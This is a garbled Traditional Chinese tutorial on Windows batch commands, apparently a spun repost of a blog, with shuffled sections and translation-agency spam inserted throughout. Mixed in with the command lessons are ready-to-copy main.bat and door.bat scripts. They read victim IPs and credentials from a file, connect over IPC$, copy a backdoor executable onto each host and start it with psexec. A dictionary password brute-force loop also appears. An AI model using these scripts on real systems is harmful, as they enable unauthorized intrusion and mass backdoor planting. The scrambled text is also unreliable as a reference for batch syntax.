用法:for /l %variable in (start,step,end) do command [command-parameters]
申明:以增量情勢從開始到竣事一個數字序列。(list)
例 5:for /l %i in (1,1,5) do @echo %i
作用:產生序列 1 2 3 4 5 翻譯社
例 6:for /l %i in (5,-1,1) do @echo %i
感化:產生序列 5 4 3 2 1。
■媒介 例10:for /f 「tokens=1,2 翻譯公司3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k 例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i 用法:for /r [[drive:]path] %variable in (set) do command [command-parameters] ▲10. for 指令 這只是一個主動栽種後門批處置 翻譯雛形,兩個批處置懲罰和後門程式(Windrv32.exe,PSexec.exe)需放在同一目錄下。批處置懲罰內容尚可擴充,例如:插足消滅日誌和DDOS的功能,插足守時新增用戶的功能,更深切一點可使之具有主動流傳功能(蠕蟲)。此處不多做論述,有愛好 翻譯同夥可自行研究。 ▲6. call 指令 ■一.簡單批處置懲罰內部指令簡介 ▲7. start 指令 用法:for /d %variable in (set) do command [command-parameters] 用法:for /f ["options"] %variable in (file-set) do command [command-parameters] ▲9. if 指令
剖析:自動給大量肉雞種後門和木馬。該指令按遞次將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat不過就是用net use指令來建樹ipc$毗連,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功種植後門 翻譯主機,並echo出來,或echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔 翻譯 翻譯社所以victim.txt裡的內容應當憑據%%i %%j %%k示意的對象來佈列,一般就是「IP位址 密碼 帳號」。
感化:枚舉今朝情況中的環境變數名稱。
說明:搜檢以 [drive:]path 為根的目次樹 翻譯社如果在 /r 後沒有指定目次,則使用今朝目錄。假如集僅為一個單點(.)字元,則枚舉該目次樹。 (root)
例 3:for /r %i in (.) do @echo %i
作用:列舉今朝目錄下的全數子目錄名路徑 翻譯社
例 4:for /r %i in (*) do @echo %i
感化:枚舉今朝目錄及子目次下的全數檔案名稱路徑。
申明:在指定 翻譯範圍內輪回履行指令。
備註:在批處置懲罰檔案中利用 for 指令時,指定變數請利用 %%variable,而不要用 %variable 翻譯社
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數 翻譯社只能是單一字母,分大小寫和全局,所以 %i 分歧於 %I。
(set) 一個或一組檔案。可使用萬用字元。
command 對每個檔案履行的指令。
command-parameters 指令行開關。
申明:從批處理程式挪用另一個批處理程式。call 指令允許挪用目的標籤。
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必須是 .bat 或 .cmd。
========================
申明:啟動另外一個視窗履行指定 翻譯程式或指令 翻譯社
例如:start "指令行" /dC:\ cmd
分析:在新視窗中開啟cmd.exe,並以「指令行」為標題,初始目錄為C盤。
申明:如果集中包含萬用字元,則指定與目次名核對,而不與檔案名稱查對。(directory)
例 1:for /d %i in (*) do @echo %i
感化:列舉今朝目次下 翻譯子目錄名。
例 2:for /d %i in (*g*) do @echo %i
感化:枚舉今朝目錄下的子目次名含g 翻譯名稱。
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
說明:file-set為一個或多個檔案名稱 翻譯社/f 剖析每一個檔案的每一行,跳過空白行。"options" 關頭字:
eol=c - 行註解字元 翻譯結尾(就一個)
skip=n - 在檔案最先時略過的行數 翻譯社
delims=xxx - 分隔符集。庖代空格和跳格鍵的預設分隔符集。
tokens=x,y 翻譯公司m-n - 每行 翻譯哪一個符號被傳遞到每一個迭代的 for 自己 翻譯社
這會致使額外變數名稱 翻譯分派。m-n格式為一個局限。
透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
那麼額外 翻譯變數將在最後一個符號解析以後分派並接管行的保存文字。
usebackq
在作為指令執行一個後引號的字串而且一個單
引號字元為文字字串指令並許可在 filenameset
中使用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
感化:剖析 myfile.txt 中 翻譯不以分號開首(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段今後的剩餘段劃分賦值給變數%i、%j、%k 翻譯社對於帶有空格 翻譯檔案名稱,需要用雙引號將檔案名稱括起來。
說明:判定是不是合適劃定的條件,從而決議履行不同的指令。
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
感化:若是返回碼等於2,程式則跳轉到標籤為x2的行履行 翻譯社
備註:DOS程式履行時會返回一個數字,即errorlevel,稱為毛病碼或返回碼,常見的返回碼為0、1 翻譯社
例 2:if 「%1」==」a」 format a:
感化:如果參數為a,則花式化A盤。
例 3:if not exist config.sys echo 檔案不存在
感化:假如檔案config.sys不存在,則顯示「檔案不存在」。
▲4. rem 指令
申明:註解指令,不會被履行,只是起一個註解的感化,便於他人閱讀和自己今後點竄。
用法:rem message
例如:@rem 獲得今朝日期實時間
▲2. @ 指令
申明:@後面的指令將不會顯示。
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q
▲5. pause 指令
申明:將程式掛起,按任意鍵後繼續執行。
例 1:pause
顯示:請按隨便鍵繼續. . .
例 2:pause >nul
感化:不顯示資訊,有益於用戶自訂資訊。
批處理檔案是無格式 翻譯文字檔案,包括一條或多條指令,檔案副檔名為 .bat或 .cmd 翻譯社按兩下該批處置懲罰檔案,系統就會挪用cmd.exe,按次並逐個履行檔案中的各個指令,簡化平常或重複性使命 翻譯社
帶指令行開關的 for 指令:
代碼雛形:
========================= 從這裡入手下手複製,貯存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2 翻譯公司3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 執行此批處置懲罰檔案
:end
========================= 到這裡竣事複製,貯存為main.bat =========================
下面我們舉幾個例子來具體申明一下for指令在入侵中的用處。
========================= 從這裡起頭複製,貯存為door.bat =========================
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 測驗考試設立建設 IPC$ 毗鄰 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不克不及連線到此主機
========================= 到這裡竣事複製,貯存為door.bat =========================
▲3. goto 指令
申明:跳轉到指定標籤,程式將執行指定標籤下一行最先的指令。
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
感化:不顯示資訊,有益於用戶自訂資訊。
▲1. echo 指令
申明:顯示資訊,或將指令回顯開啟或關上 翻譯社要顯示今朝回顯設定,輸入不帶參數的 echo 翻譯社
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)結合起來實現輸入一些指令到特定檔案中 翻譯社
透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時利用52個 。
在相鄰字串上可使用 for /f 剖析邏輯;方式是,用單引號將括號之間的 file-set 括起來 翻譯社這樣,該字串會被看成一個檔案中 翻譯一個單一輸入行 翻譯社
最後,您可以用 for /f 指令來闡明指令的輸出。方式是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。該字串會被看成指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被看成檔案闡發。
例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
分析:使用for指令來實現對一台目的winnt主機的暴力暗碼破解。我們用net use指令測驗考試和目的主機進行毗鄰,當做功時記下密碼。用%i來示意administrator 翻譯暗碼,%i的值在dict.txt中獲得,然後將程式運行成果傳遞給find指令,ok.txt中的值即為目標主機 翻譯暗碼 翻譯社
▲8. choice 指令
申明:讓用戶輸入一個字元,從而履行不同的指令。利用時應當加參數/c:,/c:後為提醒可輸入的字元,之間無空格 翻譯社它的返回碼依序為1 翻譯公司 2 翻譯公司 3, 4……
例如:
@echo off
choice /c:dme /m "defrag 翻譯公司mem,end"
rem 應先判斷數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye
分析:此檔案執行後,將顯示「defrag,mem 翻譯公司end [D,M,E]?」,用戶可選擇d,m或e,然後if語句進行判定,d示意履行標號為defrag 翻譯程式段,m示意執行標號為mem 翻譯程式段,e默示履行標號為end的程式段。
文章出自: http://blog.xuite.net/yupsky/blog/46761634-BAT%EF%BC%9A%E6%89%B9%E8%99%95%E7%90%86%E6%95%99%E5%AD%B8有關翻譯的問題歡迎諮詢天成翻譯社